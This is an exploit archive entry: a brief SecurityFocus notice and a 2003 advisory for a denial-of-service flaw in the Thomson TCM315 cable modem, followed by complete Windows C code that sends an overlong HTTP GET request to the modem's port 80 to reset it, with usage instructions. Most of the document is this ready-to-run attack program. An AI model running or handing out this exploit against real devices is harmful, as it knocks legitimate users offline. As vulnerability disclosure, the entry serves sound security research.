source: http://www.securityfocus.com/bid/9091/info

A problem has been identified in Thomson Cable Modems when handling long requests on the HTTP port. Because of this, it may be possible for an attacker to deny service to legitimate users of the device. 

/*
ADVISORY - Thomson Cablemodem TCM315 Denial of Service

Shell security group (2003) http://www.shellsec.net

November 10 of 2003

Tested against: TCM315 MP
Software Version: ST31.04.00
Software Model: A801
Bootloader: 2.1.4c
Impact: Users with access to the network can remotely shutdown internet 
connection.

Discovered by: aT4r Andres[at]shellsec.net
Vendor: contacted (no answer)
Fix: no yet

usage: just, thdos.exe 192.168.100.1

*/

#include <stdio.h>
#include <winsock2.h>

void main(int argc,char *argv[]) {
char evil[150],buffer[1000];
struct sockaddr_in shellsec;
int fd;
WSADATA ws;

WSAStartup( MAKEWORD(1,1), &( ws) );

shellsec.sin_family = AF_INET;
shellsec.sin_port = htons(80);
shellsec.sin_addr.s_addr = inet_addr(argv[1]);

memset(evil,'\0',sizeof(evil));
memset(evil,'A',100);
sprintf(buffer,"GET /%s HTTP/1.1\r\n\r\n\r\n",evil);

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (connect(fd,( struct sockaddr *)&shellsec,sizeof(shellsec)) != -1) {
send(fd,buffer,strlen(buffer),0);
printf("done. Thomson Cablemodem reset!\n");
sleep(100);
}
else printf("Unable to connect to CM.\n");
}
